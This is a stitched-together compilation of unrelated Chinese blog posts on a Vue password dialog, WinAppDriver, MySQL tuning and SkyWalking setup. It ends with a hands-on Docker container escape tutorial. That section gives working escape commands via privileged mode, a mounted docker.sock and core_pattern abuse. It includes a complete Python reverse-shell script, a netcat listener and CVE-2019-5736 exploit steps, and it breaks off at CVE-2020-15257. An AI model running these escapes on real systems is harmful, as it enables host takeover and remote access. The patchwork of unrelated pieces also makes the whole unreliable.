2024年1月

前言

最近接到一个需求,需要在一些敏感操作进行前要求输入账号和密码,然后将输入的账号和密码加到接口请求的
header
里面。如果每个页面都去手动导入弹窗组件,在点击按钮后弹出弹窗。再拿到弹窗返回的账号密码后去请求接口也太累了,那么有没有更简单的实现方式呢?

函数式弹窗的使用场景

首先我们来看看什么是函数式弹窗?

函数式弹窗是一种使用函数来创建弹窗的技术。它可以简化弹窗的使用,只需要在需要弹窗的地方调用函数就可以了。那么这里使用函数式弹窗就能完美的解决我们的问题。

我们只需要封装一个
showPasswordDialog
函数,调用该函数后会弹出一个弹窗。该函数会返回一个
resolve
后的值就是账号密码的
Promise
。然后在
http
请求拦截器中加一个
needValidatePassword
字段,拦截请求时如果该字段为
true
,就
await
调用
showPasswordDialog
函数。拿到账号和密码后塞到请求的header里面。这样就我们就只需要在发起请求的地方加一个
needValidatePassword: true
配置就行了。

先来实现一个弹窗组件

这个是简化后
template
中的代码,和Element Plus官网中的demo代码差不多,没有什么说的。

<template>
  <el-dialog :model-value="visible" title="账号和密码" @close="handleClose">
    <!-- 省略账号、密码表单部分... -->
    <el-button type="primary" @click="submitForm()">提交</el-button>
  </el-dialog>
</template>

这个是简化后的
script
代码,大部分和Element Plus官网的demo代码差不多。需要注意的是我们这里将
close
关闭事件和
confirm
确认事件定义在了
props
中,而不是在
emits
中,因为后面函数式组件会通过
props
将这两个回调传入进来。具体的我们下面会讲。

<script setup lang="ts">
interface Props {
  visible: boolean;
  close?: () => void;
  confirm?: (data) => void;
}

const props = defineProps<Props>();

const emit = defineEmits(["update:visible"]);

const submitForm = async () => {
  // 省略validate表单校验的代码
  // 这里的data为表单中输入的账号密码
  props.confirm?.(data);
  handleClose();
};

const handleClose = () => {
  emit("update:visible", false);
  props.close?.();
};
</script>

再基于弹窗组件实现函数式弹窗

createApp
函数和
app.mount
方法

createApp
函数会创建和返回一个
vue

应用实例
,也就是我们平时常说的
app
,该函数接受两个参数。第一个参数为接收一个组件,也就是我们平时写的
vue
文件。第二个参数为可选的对象,这个对象会传递给第一个参数组件的
props

举个例子:

import MyComponent from "./MyComponent"

const app = createApp(MyComponent, {
  visible: true
})

在这个例子中我们基于
MyComponent
组件生成了一个
app
应用实例,如果
MyComponent
组件的
props
中有定义
visible
,那么
visible
就会被赋值为
true

调用
createApp
函数创建的这个
应用实例app
实际就是在内存中创建的一个对象,并没有渲染到浏览器的dom上面。这个时候我们就要调用
应用实例app
暴露出来的
mount
方法将这个组件挂载到真实的dom上面去。
mount
方法接收一个“容器”参数,用于将组件挂载上去,可以是一个实际的 DOM 元素或是一个 CSS 选择器字符串。比如下面这个例子是将组件挂载到
body
上面:

app.mount(document.body)

app
提供了很多方法和属性,详见
vue官网

封装一个
showPasswordDialog
函数

首先我们来看看期望如何使用
showPasswordDialog
函数?

我们希望
showPasswordDialog
函数返回一个
Promise

resolve
的值就是弹窗中输入的表单。例如,我们可以使用以下代码使用
showPasswordDialog
函数:

try {
  // 调用这个就会弹出弹窗
    const res: RuleForm = await showPasswordDialog();
    // 这个res就是输入的账号密码
    console.log("res", res);
  } catch (error) {
    console.log(error);
  }

具体如何实现
showPasswordDialog
函数?

经过上面的介绍我们知道了可以调用
createApp
函数传入指定组件生成
app
,然后使用
app.mount
方法将这个组件挂载到指定的dom上面去。那么现在思路就清晰了,我们只需要将我们前面实现的弹窗组件作为第一个参数传递给
createApp
函数。第二个参数传入一个对象给弹窗组件的props,用以控制打开弹窗和注册弹窗关闭和确认的事件回调。下面是实现的
showPasswordDialog
函数

import { App, createApp } from "vue";
import PasswordDialog from "./index.vue";
// 这个index.vue就是我们前面实现的弹窗组件

export async function showPasswordDialog(): Promise<RuleForm> {
  return new Promise((resolve, reject) => {
    let mountNode = document.createElement("div");
    let dialogApp: App<Element> | undefined = createApp(PasswordDialog, {
      visible: true,
      close: () => {
        if (dialogApp) {
          dialogApp.unmount();
          document.body.removeChild(mountNode);
          dialogApp = undefined;
          reject("close");
        }
      },
      confirm: (res: RuleForm) => {
        resolve(res);
        dialogApp?.unmount();
        document.body.removeChild(mountNode);
        dialogApp = undefined;
      },
    });
    document.body.appendChild(mountNode);
    dialogApp.mount(mountNode);
  });
}

在这个
showPasswordDialog
函数中我们先创建了一个
div
元素,再将弹窗组件传递给了
createApp
函数生成一个
dialogApp
的实例。然后将创建的div元素挂载到
body
上面,再调用
mount
方法将我们的弹窗组件挂载到创建的
div
元素上,至此我们实现了通过函数式调用将弹窗组件渲染到body中。

现在我们再来看看传入到
createApp
函数的第二个对象参数,我们给这个对象分别传入了
visible
属性、
close

confirm
回调方法,分别会赋值给弹窗组件props中的
visible

close

confirm

弹窗组件中触发关闭事件时会调用
props.close?.()
,实际这里就是在调用我们传入的
close
回调方法。在这个方法中我们调用了实例的
unmount
方法卸载组件,然后将创建的弹窗组件dom从body中移除,并且返回一个
reject

Promise

当我们将账号和密码输入完成后,会调用
props.confirm?.(ruleForm)
,这里的
ruleForm
就是我们表单中的账号和密码。实际这里就是在调用我们传入的
confirm
回调方法,接下来同样也是卸载组件和移除弹窗组件生成的dom,并且返回一个
resolve
值为账号密码表单的
Promise

总结

这篇文章主要介绍了如何创建函数式弹窗:

  1. 创建一个常规的弹窗组件,有点不同的是
    close

    confirm
    事件不是定义在
    emits
    中,而是作为回调定义在
    props
    中。

  2. 创建一个
    showPasswordDialog
    函数,该函数返回一个
    Promise

    resolve
    的值就是我们弹窗中输入的表单。

  3. 调用
    createApp
    函数将步骤一的弹窗组件作为第一个参数传入,并且第二个对象参数中传入属性
    visible

    true
    打开弹窗和注入弹窗
    close
    关闭和
    confirm
    确认的回调。

  4. 使用者只需
    await
    调用
    showPasswordDialog
    就可以打开弹窗和拿到表单中填入的账号和密码。

如果我的文章对你有点帮助,欢迎关注公众号:【欧阳码农】。你的支持就是我创造的最大动力,感谢感谢!

大家好,今天给大家介绍一款Windows桌面自动化测试工具:
WinAppDriver

1、介绍

WinAppDriver是一个开源的自动化测试工具,用于测试Windows应用程序。它是一个Windows Application Driver,可以与多种自动化测试框架和工具集成,如Selenium、Appium等。WinAppDriver提供了一组API,用于与Windows应用程序进行交互,包括查找元素、模拟用户输入、执行操作等。

WinAppDriver的主要用途是自动化测试Windows应用程序。通过WinAppDriver,开发人员和测试人员可以编写自动化测试脚本,对Windows应用程序进行功能测试、回归测试、性能测试等。它可以模拟用户的操作,自动化执行各种测试用例,提高测试效率和准确性。

2、相对其他UI自动化测试工具,有哪些优点?

WinAppDriver 相对于其他 UI 自动化测试工具,具有以下优点和特色:

  1. 支持 Windows 应用程序:WinAppDriver 是专门为 Windows 应用程序设计的自动化测试工具,与 Windows 应用程序的交互更加简单和直接。

  2. 兼容性广泛:WinAppDriver 兼容多种自动化测试框架和工具,如 Selenium 和 Appium。这意味着可以使用熟悉的测试工具和语言来编写和执行自动化测试脚本,无需学习新的工具或语言。

  3. 开源和活跃的社区:WinAppDriver 是一个开源项目,拥有活跃的社区支持。这意味着可以从社区中获取丰富的文档、示例和解决方案,快速解决问题和学习新的技术。

  4. 支持多种编程语言:WinAppDriver 支持多种编程语言,如 C#, Java, Python 等。这使得开发人员和测试人员可以使用自己熟悉的编程语言来编写自动化测试脚本,提高开发效率和代码质量。

  5. 跨平台支持:WinAppDriver 可以与其他自动化测试工具集成,实现跨平台的自动化测试。通过 WinAppDriver,可以在 Windows、iOS 和 Android 平台上执行统一的测试脚本,减少重复工作和维护成本。

  6. 强大的元素定位:WinAppDriver 提供了丰富的元素定位方法,可以根据元素的属性、文本、坐标等多种方式进行定位。这使得定位元素更加灵活和准确,提高测试脚本的稳定性和可维护性。

总之,WinAppDriver 是一个专为 Windows 应用程序设计的自动化测试工具,具有广泛的兼容性和强大的功能。它可以帮助开发人员和测试人员提高测试效率和准确性,确保 Windows 应用程序的质量和稳定性。

3、支持哪些类型的windows程序自动化?

WinAppDriver 支持自动化测试的 Windows 程序类型包括但不限于以下几种:

  1. 桌面应用程序(Desktop Applications):包括使用 Windows Presentation Foundation (WPF)、Windows Forms、Win32 API 等技术开发的桌面应用程序。

  2. 通用 Windows 平台应用程序(Universal Windows Platform Applications,UWP):UWP 应用程序是一种跨设备的应用程序,可以在多种 Windows 平台上运行,如 Windows 10、Windows 10 Mobile、Xbox One 等。

  3. Microsoft Store 应用程序:这些应用程序是通过 Microsoft Store 下载和安装的应用程序,也属于 UWP 应用程序的一种。

  4. Microsoft Office 应用程序:包括 Word、Excel、PowerPoint 等办公软件,可以通过 WinAppDriver 自动化测试其功能和操作。

  5. Windows 控制台应用程序(Console Applications):这些应用程序是基于命令行界面的应用程序,可以通过 WinAppDriver 模拟用户输入和操作。

  6. Web 浏览器:WinAppDriver 可以与 Selenium 集成,支持自动化测试 Web 浏览器,如 Microsoft Edge 和 Internet Explorer。

总之,WinAppDriver 支持多种类型的 Windows 程序自动化测试,无论是桌面应用程序、UWP 应用程序、Microsoft Office 应用程序还是 Web 浏览器,都可以使用 WinAppDriver 进行自动化测试。

4、如何对WPF桌面程序进行自动化

以下是一个使用 Python 和 WinAppDriver 进行 WPF 应用程序自动化测试的代码案例:

首先,确保已安装必要的库,包括
Appium-Python-Client

selenium
。可以使用以下命令进行安装:

pip install Appium-Python-Client selenium

接下来,创建一个 Python 脚本,引入必要的库并设置测试环境:

from appium import webdriver

# 设置 WinAppDriver 的路径
desired_caps = {
    "app": r"C:\Path\To\Your\WPF\Application.exe",
    "platformName": "Windows",
    "deviceName": "WindowsPC"
}

# 启动 WinAppDriver 服务
driver = webdriver.Remote(command_executor="http://127.0.0.1:4723", desired_capabilities=desired_caps)

在上述代码中,需要将
C:\Path\To\Your\WPF\Application.exe
替换为你的 WPF 应用程序的路径。

接下来,可以通过
driver
对象进行自动化测试操作。以下是一些常见的示例操作:

  1. 查找元素并进行点击操作:
# 通过元素的名称进行查找
element = driver.find_element_by_name("ButtonName")
element.click()
  1. 查找元素并输入文本:
# 通过元素的名称进行查找
element = driver.find_element_by_name("TextBoxName")
element.send_keys("Hello, World!")
  1. 获取元素的文本内容:
# 通过元素的名称进行查找
element = driver.find_element_by_name("LabelName")
text = element.text
print(text)
  1. 关闭应用程序:
driver.close_app()

最后,记得在测试结束后关闭 WinAppDriver 服务:

driver.quit()

5、如何对Microsoft Word进行自动化

要使用 WinAppDriver 打开 Microsoft Word,需要先找到 Word 应用程序的应用 ID。可以使用以下步骤来查找 Word 应用程序的应用 ID:

  1. 打开 PowerShell。
  2. 运行以下命令:
Get-AppxPackage -Name Microsoft.Office.Word
  1. 在输出结果中,查找
    PackageFamilyName
    的值,它的格式类似于
    Microsoft.Office.Word_8wekyb3d8bbwe
    。这个值就是 Word 应用程序的应用 ID。

一旦获取到 Word 应用程序的应用 ID,就可以使用 WinAppDriver 和 Python 来打开 Word 并进行自动化测试。以下是一个示例代码:

from appium import webdriver

# 设置 WinAppDriver 的配置
desired_caps = {
    "platformName": "Windows",
    "deviceName": "WindowsPC",
    "app": "Microsoft.Office.Word_8wekyb3d8bbwe!Microsoft.Office.Word.Application",
    "newCommandTimeout": 300
}

# 创建 WinAppDriver 驱动对象
driver = webdriver.Remote(command_executor='http://127.0.0.1:4723', desired_capabilities=desired_caps)

# 打开 Word 应用程序
driver.launch_app()

# 进行自动化测试操作
# ...

# 关闭 Word 应用程序
driver.quit()

在上述代码中,需要将
"Microsoft.Office.Word_8wekyb3d8bbwe!Microsoft.Office.Word.Application"
替换为你获取到的 Word 应用程序的应用 ID。

通过创建 WinAppDriver 驱动对象并调用
launch_app()
方法,可以打开 Word 应用程序。然后,可以使用 WinAppDriver 提供的 API 进行自动化测试操作。最后,记得在测试结束后关闭 Word 应用程序。

请注意,要运行上述代码,需要先启动 WinAppDriver 服务,并将
command_executor
的值设置为 WinAppDriver 服务的地址和端口。默认情况下,WinAppDriver 服务的地址是
http://127.0.0.1:4723

6、如何对Microsoft Edge 进行自动化

以下是一个使用 Python 和 Selenium WebDriver 进行 Microsoft Edge 自动化测试的代码案例:

首先,确保已安装必要的库,包括
selenium

msedge.selenium_tools
。可以使用以下命令进行安装:

pip install selenium msedge.selenium_tools

接下来,创建一个 Python 脚本,引入必要的库并设置测试环境:

from msedge.selenium_tools import Edge, EdgeOptions

# 创建 EdgeOptions 对象,设置 Edge 浏览器的启动选项
options = EdgeOptions()
options.use_chromium = True

# 创建 Edge 浏览器驱动对象
driver = Edge(options=options)

# 打开 Edge 浏览器
driver.get("https://www.example.com")

在上述代码中,可以根据需要设置 Edge 浏览器的启动选项。例如,可以使用
options.add_argument("headless")
实现无头模式,或者使用
options.add_argument("start-maximized")
实现最大化窗口等。

接下来,可以通过
driver
对象进行自动化测试操作。以下是一些常见的示例操作:

  1. 查找元素并进行点击操作:
# 通过元素的 ID 进行查找
element = driver.find_element_by_id("elementId")
element.click()
  1. 查找元素并输入文本:
# 通过元素的 ID 进行查找
element = driver.find_element_by_id("elementId")
element.send_keys("Hello, World!")
  1. 获取元素的文本内容:
# 通过元素的 ID 进行查找
element = driver.find_element_by_id("elementId")
text = element.text
print(text)
  1. 关闭浏览器:
driver.quit()

最后,记得在测试结束后关闭 Edge 浏览器。

总结起来,根据具体的测试需求,灵活运用可以使用 WinAppDriver 提供的 API 进行更多的操作和自动化测试。

一、背景

业务在群里反馈编辑结算单时有些账单明细查不出来,但是新建结算单可以,我第一反应是去测试环境试试有没有该问题,结果发现没任何问题!!!
然后我登录生产环境编辑业务反馈有问题的结算单,发现查询接口直接504网关超时了,此时心里已经猜到是代码性能问题导致的,接来下就把重点放到排查接口超时的问题上了。

二、问题排查

遇到生产问题先查日志是基本操作,登录阿里云的日志平台,可以查到接口耗时竟然高达
469245毫秒

这个结算单关联的账单数量也就800多条,所以可以肯定这个接口存在性能问题。

image

但是日志除了接口耗时,并没有其他报错信息或异常信息,看不出哪里导致了接口慢。

接口慢一般是由如下几个原因导致:

  1. 依赖的外部系统慢,比如同步调用外部系统的接口耗时比较久
  2. 处理的数据过多导致
  3. sql性能有问题,存在慢sql
  4. 有大循环存在循环处理的逻辑,如循环读取exel并处理
  5. 网络问题或者依赖的中间件比较慢
  6. 如果使用了锁,也可能由于长时间获取不到锁导致接口超时

当然也可以使用arthas的
trace
命令分析哪一块比较耗时。

由于安装arthas有点麻烦,就先猜测可能慢sql导致的,然后就登录阿里云RDS查看了慢sql监控日志。
image
好家伙一看吓一跳,sql耗时竟然高达
66秒
,而且执行次数还挺多!

我赶紧把sql语句放到数据库用explain命令看下执行计划,分析这条sql为啥这么慢。

EXPLAIN SELECT DISTINCT(bill_code) FROM `t_bill_detail_2023_4` WHERE  
(settlement_order_code IS NULL OR settlement_order_code = 'JS23122600000001');

分析结果如下:

image

如果不知道explain结果每个字段的含义,可以看看这篇文章《
长达1.7万字的explain关键字指南!
》。

可以看到扫描行数达到了250多万行,ref已经是最高效的const,但是看最后的Extra列
Using temporary 表明这个sql用到了临时表
,顿时心里清楚什么原因了。

因为sql有个去重关键字DISTINCT,所以mysql在需要建临时表来完成查询结果集的去重操作,如果结果集数据量比较小没有超过buffer,就可以直接在内存中去重,这种效率也是比较高的。

但是如果结果集数据量很大,buffer存不下,那就需要借助磁盘完成去重了,我们都知道操作磁盘相比内存是非常慢的,时间差几个数量级

虽然这个表里的settlement_order_code字段是有索引的,但是
线上也有很多settlement_order_code为null的数据,这就导致查出来的结果集非常大
,然后又用到临时表,所以sql耗时才这么久!

同时,这里也解释了为什么测试环境没有发现这个问题,因为测试环境的数据不多,直接在内存就完成去重了。

三、问题解决

知道了问题原因就很好解决了,首先根据SQL和接口地址很快就找到出现问题的代码是下图红框圈出来的地方

image

可以看到代码前面有个判断,只有当isThreeOrderQuery=true时才会执行这个查询,判断方法代码如下

image

然后因为这是个编辑场景,前端会把当前结算单号(usedSettlementOrderCode字段)传给后端,所以这个方法就返回了true。

同理,拼接出来的sql就带了条件(settlement_order_code IS NULL OR settlement_order_code = 'JS23122600000001')。

image

解决起来也很简单,把isThreeOrderQuery()方法圈出来的代码去掉就行了,这样就不会执行那个查询,同时也不会影响原有的代码逻辑,因为后面会根据筛选条件再查一次t_bill_detail表。

改代码发布后,再编辑结算单,优化后的效果如下图:

image

只改了三行代码,接口耗时就立马从469245ms缩短到700ms,性能提升了
600多倍

四、总结


感觉压测环境还是有必要的,有些问题数据量小了或者请求并发不够都没法暴露出来,同时以后写代码可以提前把sql在数据库explain下看看性能如何,毕竟能跑就行不是我们的追求

Skywalking安装以及docker镜像打包

Skywalking版本:apache-skywalking-apm-es7-8.7.0

ES版本:7.17.2

一.下载Skywalking的安装包

下载地址:
Index of /dist/skywalking/8.7.0 (apache.org)

image-20240105110418630

上传到服务器安装目录并解压

#这里选择的安装目录是/usr/local
cd /usr/local
tar -zxvf apache-skywalking-apm-es7-8.7.0.tar.gz

image-20240105115542247

二.查看并修改配置文件

#进入解压好的目录
cd apache-skywalking-apm-bin-es7
#编辑配置文件
vi config/application.yml

在配置文件中找到图片所在的位置

image-20240108093627399

此处修改的地方为
SW_STORAGE:elasticsearch7

elasticsearch7
是该文档中的一个es数据存储的配置项。

然后修改es存储的地址,在图片中如下位置修改:

image-20240108093857684

然后退出保存

  • storage.elasticsearch7,配置项,设置使用 Elasticsearch 7.X 版本作为存储器,本次安装选用的es7,所以需要配置es的地址。
  • storage.elasticsearch,配置项,设置使用 Elasticsearch 6.X 版本作为存储器。所以无需做任何改动。
  • storage.h2,配置项,设置使用 H2 作为存储器。

如服务器出现端口占用,还可以选择更改Skywalking的端口。

vi webapp/webapp.yml

image-20240108100011551

三.启动Skywalking

cd bin/
ls

image-20240108100054090

这里可以看见有三个启动脚本,分别是oap启动脚本,webServer的启动脚本,和同时启动两个服务的脚本startup.sh。

因为是首次安装,所以先启动oap,执行
oapService.sh
,然后看日志输出。打开
logs/skywalking-oap-server.log
日志文件,查看是否有错误日志。首次启动时,因为 SkyWalking OAP 会创建 Elasticsearch 的索引,所以会一直打印日志,如下图。

image-20240108102440907

最终,我们看到如下日志,基本可以代表 SkyWalking OAP 服务启动成功:

org.eclipse.jetty.server.Server - 444 [main] INFO  [] - Started

因为首次启动oap会创建大量索引,所以需要花费较长时间。

然后启动webappServer,执行
webappService.sh
,然后通过ip加配置的端口访问UI页面,能成功进入就算安装成功。

image-20240108103429497

四.使用Nginx,配置oap-server 域名

在配置SkyWalking Agent的时候,oap在接收代理数据的时候报错。所以需要通过Nginx配置grpc 通信

image-20240108161636711

在Nginx中作如下配置:

# grpc 代理配置
server {
	listen 11800 http2; # grpc方式对外暴露端口
	server_name localhost;
	# access_log logs/access.log main;
	location / {
		grpc_pass grpc://<Sktwalking主机IP>:11800; # 此处配置grpc服务的ip和端口
	}
}

需要注意http2 和 http的端口不能重复。

一般Nginx安装的时候默认是没有ngx_http_v2_module模块的,所以需要安装,
教程地址

五.配置SkyWalking Agent

此处选择使用Dockerfile,在打包的时候把探针打入Java后端的镜像。

Dockerfile文件:

# 配置了sky-walking的dockerfile
FROM <jdk11基础镜像>
MAINTAINER uni
WORKDIR /usr/app
RUN ln -sf /usr/share/zoneinfo/Asia/Shanghai /etc/localtime
RUN echo 'Asia/Shanghai' >/etc/timezone
ARG APP_NAME="app"
ARG PORT=10001
ENV JAVA_OPTS="-Xms512m -Xmx512m" \
    SPRING_PROFILES_ACTIVE=$PROFILE \
    APPLICATION_NAME=$APP_NAME \
    SW_AGENT_COLLECTOR_BACKEND_SERVICES="<通过Nginx代理后的地址>:11800"

ADD ./target/${APPLICATION_NAME}.jar ${APPLICATION_NAME}.jar
# 将agent文件夹放入容器,jenkins配置里,docker build前一步,cp到target文件夹下的
ADD ./target/agent/ /usr/local/agent
EXPOSE ${EXPORT}
ENTRYPOINT exec java ${JAVA_OPTS} -javaagent:/usr/local/agent/skywalking-agent.jar -Dskywalking.agent.service_name=$APPLICATION_NAME -Dskywalking.collector.backend_service=${SW_AGENT_COLLECTOR_BACKEND_SERVICES}  -jar -Dspring.profiles.active=${SPRING_PROFILES_ACTIVE} ${APPLICATION_NAME}.jar

APPLICATION_NAME=$APP_NAME
是docker打包时传入的后端服务名称的值,
SPRING_PROFILES_ACTIVE=$PROFILE
用于指定运行环境。

文档中的target/agent/,这个agent文件是,apache-skywalking-apm-bin-es7目录下的agent文件夹,我这里是提前cp到,Dockerfile打包目录下的target目录下的。同样,请确保你的后端Jar包文件和agent处于同一目录。

执行打包命令

docker build --build-arg APP_NAME=<自己的项目名> --build-arg PROFILE=test --build-arg PORT=8080 -f Dockerfile -t <自己的harbor私服地址>/<自己的项目名>:test-1 .

这里的APP_NAME换成自己的项目名,PROFILE是你的运行环境,这边默认为test,-t后面是自己的镜像名,一般默认是私服地址+项目名+tag

#然后上传自己打包的镜像到私服
docker push <自己的harbor私服地址>/<自己的项目名>:test-1

然后在目标服务器用docker运行测试,看项目是否启动。成功配置的结果,如下图:

image-20240104180902903

Docker介绍

Docker 是一个开放源代码软件,是一个开放平台,用于开发应用、交付(shipping)应用、运行应用。Docker允许用户将基础设施(Infrastructure)中的应用单独分割出来,形成更小的颗粒(容器),从而提高交付软件的速度。
Docker 容器与虚拟机类似,但二者在原理上不同,容器是将操作系统层虚拟化,虚拟机则是虚拟化硬件,因此容器更具有便携性、高效地利用服务器。

判断Docker环境

  1. 查询cgroup信息
cat /proc/1/cgroup

正常主机:
image.png
docker环境:
image.png

  1. 检查根目录特定文件
ls -al / | grep "docker"

正常主机:
image.png
docker环境:
image.png

  1. 检查挂载信息
mount | grep '/ type'

正常主机:
image.png
docker环境:
image.png

  1. 查看硬盘信息
fdisk -l 

正常主机:
image.png
docker环境:
image.png

  1. 查看文件系统挂载点
df -h | egrep '(overlay|aufs)'

正常主机:
image.png
docker环境:
image.png

容器逃逸-特权模式

特权模式是指在启动docker容器时,赋予了容器过高的权限,可以使容器将宿主机上的文件挂载到容器里面从而形成容器逃逸。
特权启动一般出现在主机分权明确的情况下,业务需要足够的权限进行启动,而管理员账号本身被并不具备,因此需要特权启动容器。
环境复现:

  1. 特权启动容器
docker run --rm --privileged=true -it alpine

image.png

  1. 检测docker环境
cat /proc/1/cgroup | grep -qi docker && echo "Is Docker" || echo "Not Docker"

两种检测方式均符合docker环境特征
image.png

  1. 判断特权启动
cat /proc/self/status | grep CapEff

特权模式启动的话,CapEff 对应的掩码值应该为0000003fffffffff 或者是 0000001fffffffff
image.png

  1. 查看磁盘分区

查看目前环境处于哪个分区中
image.png

  1. 特权逃逸

创建目录,并将分区挂载到目录中。

mkdir /test && mount /dev/vda1 /test
  1. 逃逸成功

成功将宿主机内容挂载到test目录下
image.png

容器逃逸-危险挂载

挂载DockerSocket逃逸

将 Docker Socket 挂载到容器中可以使容器内部的应用或进程直接与宿主机上的 Docker 守护进程通信,即给予容器控制宿主机上Docker实例的能力。
应用场景:

  • 持续集成和持续部署(CI/CD)
    :在 CI/CD 流程中,如 Jenkins、GitLab CI 或 CircleCI,构建容器需要创建、管理或销毁其他容器。例如,自动化测试过程可能需要启动一个应用容器和一个数据库容器,然后在测试完成后销毁它们。
  • 容器编排工具
    :管理容器集群的工具,如 Portainer 或 Rancher,需要在其容器内访问 Docker Socket,以便管理和监控集群中的容器。
  • 本地开发环境
    :开发人员可能使用容器化的开发环境,其中包括需要管理其他容器的工具。例如,使用 Docker Compose 在本地部署多容器应用时,主控容器可能需要访问 Docker Socket 来控制其他服务容器。
  • Docker-in-Docker(DinD)场景
    :在需要完全隔离的 Docker 环境中进行测试或开发时,例如测试 Docker 本身的新功能或插件,会使用到 Docker-in-Docker。这要求主容器能够完全控制内部的 Docker 守护进程。
  • 自动化部署脚本
    :某些自动化脚本或工具,可能被打包在容器中,并需要访问 Docker Socket 以自动部署或更新容器化应用

环境复现:

  1. 创建文件标识

在根目录下创建文件标识宿主机,以便分辨逃逸是否成功。
image.png

  1. 挂载Docker Socket容器启动
docker run -itd --name with_docker_sock -v /var/run/docker.sock:/var/run/docker.sock ubuntu
  1. 进入容器
docker exec -it with_docker_sock /bin/bash
  1. 检测环境
ls -al / | grep docker 

检测根目录下有固定Docker特征文件,判断是在容器中
image.png

ls -lah /var/run/docker.sock

检测容器中挂载有docker.socket文件,判断为docker.socket挂载启动
image.png

  1. 安装docker客户端
apt-get update
apt-get install curl
curl -fsSL https://get.docker.com/ | sh

虽然已经检测到docker.socket已经被挂载到容器中,这只能说明已经具备和宿主机docker进程进行通信的能力,但是容器中并没有docker的客户端,无法使用docker命令,因此需要安装docker客户端。

  1. 挂载逃逸
docker run -it -v /:/host ubuntu /bin/bash

在容器内部创建一个新的容器,并将宿主机目录挂载到新的容器内部host目录中。
image.png

  1. 逃逸成功

host目录中已经看到宿主机上的文件,后续利用可以在宿主机本身创建定时任务反弹shell。
image.png
退出容器时要退出两次才能到宿主机。
image.png

挂载宿主机procfs逃逸

在 Docker 中,挂载 procfs (/proc 文件系统)到容器通常是为了从容器内部访问宿主机的 proc 文件系统,这通常用于高级监控、诊断或其他特殊的系统管理任务。/proc 文件系统是一个特殊的文件系统,它提供了一个接口到内核数据结构,主要用于访问有关系统和运行中进程的信息。
环境复现:

  1. 挂载procfs启动容器

将宿主机/proc/sys/kernel/core_pattern文件挂载到容器/host/proc/sys/kernel/core_pattern中

docker run -it -v /proc/sys/kernel/core_pattern:/host/proc/sys/kernel/core_pattern ubuntu
  1. 环境监测
ls -al / | grep docker
find / -name core_pattern

在容器中找到两个core_pattern文件那可能就是挂载了宿主机的 procfs
image.png

  1. 寻找路径

找到当前容器在宿主机下的绝对路径

cat /proc/mounts | xargs -d ',' -n 1 | grep workdir

image.png
将work目录变成merged目录就是容器所在宿主机的绝对路径

/var/lib/docker/overlay2/a992bcd6f19cb8cc5578b3732617c0547250a0a30e22faf5dd4de4a010044520/merged
  1. 创建反弹shell脚本
cat >/tmp/.x.py << EOF
#!/usr/bin/python
import os
import pty
import socket
lhost = "xx.xx.xx.xx"
lport = xxxx
def main():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((lhost, lport))
    os.dup2(s.fileno(), 0)
    os.dup2(s.fileno(), 1)
    os.dup2(s.fileno(), 2)
    os.putenv("HISTFILE", '/dev/null')
    pty.spawn("/bin/bash")
    os.remove('/tmp/.x.py')
    s.close()
if __name__ == "__main__":
    main()
EOF

image.png
赋予执行权限

chmod 777 /tmp/.x.py
  1. 写入反弹 shell文件在宿主机执行路径到目标的/proc/sys/kernel/core_pattern 文件
echo -e "|/var/lib/docker/overlay2/a992bcd6f19cb8cc5578b3732617c0547250a0a30e22faf5dd4de4a010044520/merged/tmp/.x.py \rcore    " >  /host/proc/sys/kernel/core_pattern

查看路径是否写入成功
image.png
从 2.6.19 内核版本开始,Linux 支持在 /proc/sys/kernel/core_pattern 中使用新语法。如果该文件中的首个字符是管道符 | ,那么该行的剩余内容将被当作用户空间程序或脚本解释并执行。
/proc/sys/kernel/core_pattern 是 Linux 系统中的一个特殊文件,它属于 /proc 文件系统,这是一个虚拟文件系统,提供了一个接口到内核数据结构。这个特定文件用于定义当程序崩溃导致核心转储(core dump)时,核心转储文件的命名模式和位置。
核心转储是操作系统在程序发生严重错误(如段错误)时创建的文件,包含了程序崩溃时的内存镜像和有关程序状态的其他信息,对于程序调试和确定崩溃原因非常有用。

  • core_pattern 文件的内容决定了核心转储文件的命名和存储位置。
  • 默认情况下,这个文件可能只包含一个单词 core,表示核心转储文件将被命名为 core 并存储在程序崩溃时的当前目录下。
  • 可以配置这个文件来更改核心转储文件的存储位置和命名方式。例如,可以设置路径和文件名,甚至可以指定一个处理核心转储的程序。

上述解释就是我们要将反弹shell文件路径写入core_pattern 中

  1. 写入引起docker崩溃的文件,诱导系统加载core_pattern 文件

安装vim以及gcc

apt-get update -y && apt-get install vim gcc -y

写入崩溃文件

cat >/tmp/x.c << EOF
#include <stdio.h>
int main(void)
{
    int *a = NULL;
    *a = 1;
    return 0;
}
EOF

将文件赋予执行权限

gcc x.c -o x
  1. 开启监听

在VPS中开启监听

nc -lvvp xxxx
  1. 执行崩溃文件,接收反弹shell
./x

image.png
崩溃文件执行的同时,shell也被反弹了
image.png

容器逃逸-Docker漏洞

利用Docker本身漏洞进行逃逸

CVE-2019-5736 runC容器逃逸

环境复现:

  • 复现建议:复现之前做好快照,因为复现过程中会破坏docker环境。
  • 漏洞影响版本:docker version <=18.09.2 RunC version <=1.0-rc6
  1. 安装对应的Docker版本
apt-get update
apt-get install -y apt-transport-https ca-certificates curl software-properties-common
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add -
add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable"
apt-get update
apt-cache madison docker-ce
apt-get install docker-ce=18.06.1~ce~3-0~ubuntu

image.png

  1. 启动模拟环境
docker run -itd ubuntu:latest
  1. 构造漏洞利用POC

POC下载地址
CVE-2019-5736-PoC
对main.go文件内容进行修改
image.png
使用go环境进行编译

CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go
  1. 上传POC

由于是模拟环境,因此在这里就在终端直接上传了,如果在实战情况下拿了shell,应该也有上传文件的权限
上传之后赋予POC执行权限。

docker cp main xxxx:/
chmod 777 main 
./main

image.png

  1. VPS开启监听

image.png

  1. 执行POC,模拟管理员重新进入docker容器
docker exec -it xxxx/bin/bash

管理员进入容器时:
image.png

  1. 逃逸成功

管理员重新进入容器时,shell成功反弹,查看根目录下文件,并没有docker.env文件,逃逸成功。
image.png

  • 复现过后docker-runc发生了改变

image.png

CVE-2020-15257 containerd逃逸

Containerd 是一个控制 runC 的守护进程,提供命令行客户端和 API,用于在一个机器上管理容器。在特定网络条件下,攻击者可通过访问containerd-shim API,从而实现Docker容器逃逸。
漏洞复现:

  • 漏洞影响版本:

containerd < 1.4.3
containerd < 1.3.9

